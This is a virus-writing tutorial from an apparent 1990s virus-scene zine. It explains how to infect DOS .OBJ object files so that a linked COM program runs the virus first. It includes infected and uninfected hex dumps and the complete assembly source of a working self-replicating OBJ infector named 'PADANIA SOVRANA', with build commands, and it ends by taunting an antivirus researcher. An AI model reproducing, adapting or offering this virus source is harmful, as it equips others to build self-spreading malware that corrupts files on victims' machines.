Infecting OBJs
by Int13h/IkX

The first virus which implements .OBJ files infection was the one called Shifting Objective. His coder was Stormbringer of Phalcom/Skim. It was a virus which infects every OBJ file with IP set to 100h, that means files that will be COM programs when compiled. There are just few virus that infects OBJ files. Lets remember some of them: Shift_OBJ, Ace of Spades, Kuarahy, Zhengxi & DDT. Just five, very few considering that there are thousands of viruses. There are a lot of reasons. One of them is that an OBJ file isn't a very used structure, a virus won't spread arround the world just infecting OBJs. These files are usually part of coders's hard disks. Another reason maybe is the obscurity of these kinda files. Well, it does not care. We will spill some light about this topic in this little and quick OBJ infection tutorial. Object files are organized as a sequence of records of 4 bytes. There are a lot of record types, the first byte of the record is the record type, the descriptor and the next two bytes represents the size of the file, the last byte is a checksum byte. In Kuarahy I didn't modified the checksum value and TLINK compiles infected files without problems, it seems that compilers ignores this byte. Some of the field descriptor in- teresting for virus are the following:

            080H = This is the start of every OBJ file
            0A0H = This means code, not compressed, raw code
            0A2H = This means compressed code
            08AH = This is the last field, the OBJ ending module

If you are reading the field 0A0H or the 0A2H one, you must know that after the four bytes header there is a word that represents the offset in memory where the piece of code will be. Then, for a COM file, the first 0A0H or 0A2H you find must be 0100H, because COMs begins with IP=0100H, for the PSP thing. Well, lets begin with the infection stuph. To infect OBJs, we will work this way: we will read all the field descriptors, if the readed field is 0A0H or 0A2H we will read the next word of the file, that is the offset in memory where that part will go, we must add virus size to that word and write it again to the file. Do the modifications for all the fields. Look the virus code for pointer's movement. When you find the 08AH, it means that you have reached the OBJ ending module. There you must add your virus module, it must look like this:

>     VirusField:
>             db 0A0h                         ; Normal code
>             dw Size+3                       ; Size of the beast+3
>             db 01
>             dw 100h                         ; IP=100h, then it will be COM

Write your virus module, and then your virus code. Following that, you have to write the OBJ ending module. Lets see:

>                ORIGINAL OBJ FILE (before the infection)

>                  Description             Offset in memory
>                  ----------------------------------------
>                     Header                  ....
>                     Module 1                100h
>                     Module 2                400h
>                     Module 3                500h
>                     Final module            ....

>                MODIFIED OBJ FILE (after the infection)

>                   We assume that virus lenght is 100h

>                  Description             Offset in memory
>                  ----------------------------------------
>                     Header                  ....
>                     Module 1                200h
>                     Module 2                500h
>                     Module 3                600h
>                     Virus                   100h
>                     Final module            ....

>                  THE COMPILED OBJ

>                   ORIGINAL        [Code of original program]
>                   INFECTED        [Virus | Code of original program]

>     The following is the hex-dump of an uninfected OBJ file:

>     00000000: 80 0C 00 0A 62 61 73 75  - 72 61 2E 61 73 6D 7D 88   ....basura.asm}.
>     00000010: 1F 00 00 00 54 75 72 62  - 6F 20 41 73 73 65 6D 62   ...Turbo Assemb
>     00000020: 6C 65 72 20 20 56 65 72  - 73 69 6F 6E 20 32 2E 30   ler  Version 2.0
>     00000030: B9 88 12 00 40 E9 30 91  - 06 25 0A 62 61 73 75 72   ....@.0..%.basur
>     00000040: 61 2E 61 73 6D 5A 88 03  - 00 40 E9 4C 96 02 00 00   a.asmZ...@.L....
>     00000050: 68 88 03 00 40 A1 94 96  - 0C 00 05 5F 54 45 58 54   h...@......_TEXT
>     00000060: 04 43 4F 44 45 96 98 07  - 00 48 02 01 02 03 01 10   .CODE....H......
>     00000070: 96 0C 00 05 5F 44 41 54  - 41 04 44 41 54 41 C2 98   ...._DATA.DATA..
>     00000080: 07 00 48 00 00 04 05 01  - 0F 96 08 00 06 44 47 52   ..H..........DGR
>     00000090: 4F 55 50 8B 9A 06 00 06  - FF 02 FF 01 59 88 04 00   OUP.........Y...
>     000000A0: 40 A2 01 91 *A0 06 00 01  - 00 01 **CD 20 6B 8A 07 00   @.......... k...
>     000000B0: C1 10 01 01 00 01 9B        ^^^^
>                                       Offset in memory. COM File=100H

>     REFERENCES
>     ----------
>     *   = Orig. field of the file
>     **  = Code of the hoste, just an INT 20h to exit do DOS

And this is the same hoste, but infected by the virus, look carefully for the changes in the A0 and A2 fields. Check also the viral and ending module.

>     00000000: 80 0C 00 0A 62 61 73 75  - 72 61 2E 61 73 6D 7D 88   ....basura.asm}.
>     00000010: 1F 00 00 00 54 75 72 62  - 6F 20 41 73 73 65 6D 62   ...Turbo Assemb
>     00000020: 6C 65 72 20 20 56 65 72  - 73 69 6F 6E 20 32 2E 30   ler  Version 2.0
>     00000030: B9 88 12 00 40 E9 30 91  - 06 25 0A 62 61 73 75 72   ....@.0..%.basur
>     00000040: 61 2E 61 73 6D 5A 88 03  - 00 40 E9 4C 96 02 00 00   a.asmZ...@.L....
>     00000050: 68 88 03 00 40 A1 94 96  - 0C 00 05 5F 54 45 58 54   h...@......_TEXT
>     00000060: 04 43 4F 44 45 96 98 07  - 00 48 02 01 02 03 01 10   .CODE....H......
>     00000070: 96 0C 00 05 5F 44 41 54  - 41 04 44 41 54 41 C2 98   ...._DATA.DATA..
>     00000080: 07 00 48 00 00 04 05 01  - 0F 96 08 00 06 44 47 52   ..H..........DGR
>     00000090: 4F 55 50 8B 9A 06 00 06  - FF 02 FF 01 59 88 04 00   OUP.........Y...
>     000000A0: 40 A2 01 91 *A0 06 00 01  - 57 02 CD 20 6B **A0 5A 01   @.......W.. k.Z.
>     000000B0: 01 00 01 ***B4 1A BA 60 EA  - CD 21 B4 4E 33 C9 BA 15   ......`..!.N3...
>                   ^^^^ Offset in memory. COM File=100H
>     000000C0: 02 CD 21 73 30 B4 1A BA  - 80 00 CD 21 BE 37 01 BF   ..!s0......!.7..
>     000000D0: 00 FA 8B C7 B9 05 00 F3  - A5 A4 BE 57 02 BF 00 01   ...........W....
>     000000E0: 57 B9 50 C3 33 DB 33 D2  - FF E0 F3 A4 33 F6 33 FF   W.P.3.3.....3.3.
>     000000F0: 33 C0 33 C9 C3 BA 7E EA  - B8 02 3D CD 21 72 1F 93   3.3...~...=.!r.
>     00000100: 33 ED E8 9E 00 3C 8A 74  - 6E 3C 8C 74 11 3C A0 74   3....<.tn<.t.<.t
>     00000110: 19 3C A2 74 15 B8 01 42  - 33 C9 CD 21 73 E4 B4 3E   .<.t...B3..!s..>
>     00000120: CD 21 B4 4F CD 21 73 CD  - EB 9B 52 B8 01 42 33 C9   .!.O.!s...R..B3.
>     00000130: 33 D2 CD 21 52 50 B4 3F  - BA 12 02 B9 03 00 CD 21   3..!RP.?.......!
>     00000140: 0B ED 75 10 45 81 3E 13  - 02 00 01 74 07 FA 83 EC   ..u.E.>....t....
>     00000150: 06 FB EB CA 81 06 13 02  - 57 01 5A 59 51 52 B8 00   ........W.ZYQR..
>     00000160: 42 CD 21 B4 40 B9 03 00  - BA 12 02 CD 21 5A 59 B8   B.!.@.......!ZY.
>     00000170: 00 42 CD 21 5A EB 9E B8  - 01 42 B9 FF FF BA FD FF   .B.!Z....B......
>     00000180: CD 21 B4 40 B9 06 00 BA  - 0C 02 CD 21 B4 40 BA 00   .!.@.......!.@..
>     00000190: 01 B9 57 01 CD 21 B4 40  - BA 02 02 B9 0A 00 CD 21   ..W..!.@.......!
>     000001A0: E9 7B FF B4 3F B9 03 00  - BA 1B 02 CD 21 A0 1B 02   .{..?.......!...
>     000001B0: 8B 16 1C 02 C3 8A 07 00  - C1 10 01 01 00 01 9B A0   ................
>     000001C0: 5A 01 01 00 01 01 57 02  - 2A 2E 6F 62 6A 00 8A 07   Z.....W.*.obj...
>     000001D0: 00 5B 50 41 44 41 4E 49  - 41 20 53 4F 56 52 41 4E   .[PADANIA SOVRAN
>     000001E0: 41 20 62 79 20 49 6E 74  - 31 33 68 2F 49 4B 58 2E   A by Int13h/IKX.
>     000001F0: 20 47 72 65 65 74 73 20  - 74 6F 20 6D 79 20 66 72    Greets to my fr
>     00000200: 69 65 6E 64 20 62 30 7A  - 30 21 8A 07 00 C1 10 01   iend b0z0!......
>     00000210: 01 00 01 9B

>     REFERENCES
>     ----------
>     *   = Orig. field of the file (just a program that exits to DOS with INT 20h)
>     **  = Field added by the virus
>     *** = Beginnig of viral code

We added virus size to offset in memory of the file. Then we wrote the virus to the end with IP set to 100h. Then, the compiler will write virus first and following it, the hoste's code. To restore control you must copy the hoste's code to 100H and give it control. To do this I move some code at the end of the segment. The code just copied all the hoste's code to 100H and then gives it the control.

>                  INFECTED COM (when compiled)

>                                         OFFSET
>                    .-----------------.  0
>                    |     P S P       |
>                    |-----------------|  100H
>                    |   V I R U S     |
>                    |-----------------|  Virus's size
>                    | ORIGINAL HOSTE  |
>                    '-----------------'  Heap...

>     ; This  is  a  very simple runtime OBJ infector, it infects objects files
>     ; with IP=100h,  that is, files that will be compiled to COMs. It is very
>     ; easy to  understand, just  follow the code and read comments. Have fun!
>     ;                                                                  Int13h
>     ;
>     ; P.S.: compile to COM, tasm sovrana.asm /m3 | tlink /t sovrana.obj

>     .model tiny
>     .code
>     org 100h

>     Size equ (offset EndViruz-offset PADANIA_SOVRANA)

>     PADANIA_SOVRANA:
>             mov     ah,1ah                  ; Reallocate DTA
>             mov     dx,60000d               ; to the final zone of COM segment
>             int     21h

>     FindOBJ:mov     ah,4eh                  ; Find first file
>             xor     cx,cx
>             mov     dx,offset Vixtims       ; *.obj
>             int     21h
>             jnc     Open_File               ; Open if found...

>     Restore:mov     ah,1ah
>             mov     dx,80h                  ; Repoints DTA to original place
>             int     21h

>             mov     si,offset Copier        ; Little code
>             mov     di,64000                ; Where to copy
>             mov     ax,di
>             mov     cx,5                    ; Five words
>             rep     movsw
>             movsb                           ; ...and one byte

>             mov     si,offset EndViruz      ; Original hoste's code shifted
>             mov     di,100h                 ; To 100h
>             push    di                      ; Stack this address
>             mov     cx,50000                ; Generic Lenght
>             xor     bx,bx                   ; Blank BX
>             xor     dx,dx                   ; Clear DX
>             jmp     ax                      ; JMP to Copier code

>     Copier: repe    movsb                   ; Do the shifting
>             xor     si,si
>             xor     di,di                   ; Clean registers
>             xor     ax,ax
>             xor     cx,cx
>             ret                             ; And brings control to 100h

>     Open_File:
>             mov     dx,60000d+1eh           ; Filename (founded by 4e/4f function)
>             mov     ax,3d02h                ; Open in read/write mode
>             int     21h
>             jc      Next                    ; Can't be opened
>             xchg    bx,ax                   ; Move file handle
>             xor     bp,bp                   ; Clear our flag

>     OtherField:
>             call    Reading                 ; Read 3 bytes
>             cmp     al,08ah                 ; Ending field
>             jz      LastField
>             cmp     al,08ch                 ; It have external definitions :(
>             jz      Next
>             cmp     al,0a0h                 ; Normal code, lets modify it
>             jz      Infect
>             cmp     al,0a2h                 ; Compressed code
>             jz      Infect

>     PointIt:mov     ax,4201h
>             xor     cx,cx                   ; Move pointer to the following field
>             int     21h
>             jnc     OtherField

>     Next:   mov     ah,3eh                  ; Close the file
>             int     21h
>             mov     ah,4fh                  ; Look for the next OBJ
>             int     21h
>             jnc     Open_File               ; If found, open it
>             jmp     Restore                 ; Restore control...

>     Infect: push    dx
>             mov     ax,4201h
>             xor     cx,cx
>             xor     dx,dx
>             int     21h
>             push    dx ax                   ; Memorize current pointer location

>             mov     ah,3fh
>             mov     dx,offset Input         ; Read the next 3 bytes
>             mov     cx,3                    ; Here we will manipulate the offset
>             int     21h                     ; in memory where that part will go

>             or      bp,bp                   ; Check flag to see if is the first A0
>             jnz     NotTheFirstA0

>             inc     bp                      ; Change flag state
>             cmp     word ptr [Input+1],100h ; IP must be 100h, otherwise file
>             je      NotTheFirstA0           ; is already infected or will be EXE
>             cli
>             sub     sp,6                    ; Fix the stack (pop ax ax ax)
>             sti                             ; poping the 3 words we pushed
>             jmp     Next                    ; Look for another phile

>     NotTheFirstA0:
>             add     word ptr [Input+1],Size ; Add virus size to offset in memory

>             pop     dx cx
>             push    cx dx
>             mov     ax,4200h                ; Move pointer back
>             int     21h

>             mov     ah,40h
>             mov     cx,3                    ; Write modified field
>             mov     dx,offset Input
>             int     21h

>             pop     dx cx
>             mov     ax,4200h                ; Correct pointer position
>             int     21h
>             pop     dx
>             jmp     PointIt

>     LastField:
>             mov     ax,4201h
>             mov     cx,0ffffh               ; Move pointer to the last field (8a)
>             mov     dx,0fffdh
>             int     21h

>             mov     ah,40h
>             mov     cx,6
>             mov     dx,offset VirusField    ; Write a field for our virus, with
>             int     21h                     ; IP=100h then when compiled we will
>                                             ; have Virus+Hoste

>             mov     ah,40h
>             mov     dx,100h                 ; Write virus now
>             mov     cx,Size
>             int     21h

>             mov     ah,40h
>             mov     dx,offset Ending        ; And now write the clasic
>             mov     cx,10                   ; ending module
>             int     21h

>             jmp     Next                    ; Check for another file

>     Reading:mov ah,3fh                      ; OBJ field descriptor reader routine
>             mov cx,3
>             mov dx,offset Buffer
>             int 21h
>             mov al,byte ptr ds:[Buffer]     ; Field type
>             mov dx,word ptr ds:[Buffer+1]   ; Size of the field
>             ret

>     ; Every OBJ file I tested finish with these byte sequences, it is the
>     ; object file ending module
>     Ending  db 08ah,07h,00h,0c1h,010h,01h,01h,00h,01h,09bh

>     VirusField:
>             db 0A0h                         ; Normal code
>             dw Size+3                       ; Size of the beast+3
>             db 01
>             dw 100h                         ; IP=100h, then it will be COM

>     Input   db 0,0,0
>     Vixtims db '*.obj',0
>     Buffer  db 0,0,0

>     PaDaNia_LiBRe db "[PADANIA SOVRANA by Int13h/IKX. Greets to my friend b0z0!"

>     EndViruz label byte
>     int 20h

>     End PADANIA_SOVRANA

Well. That was all. If you have some questions or comments you can reach me at: int13h@antisocial.com. The idiot russian AVer known as Eugene Kasperspig said that my virus fail when infecting OBJs. Then, you must try to compile the OBJs infected by this one to see the true. Maybe that stupid AVer must try to compile the files with TLINK, because compiling files with EDLIN.COM is really hard. Bye!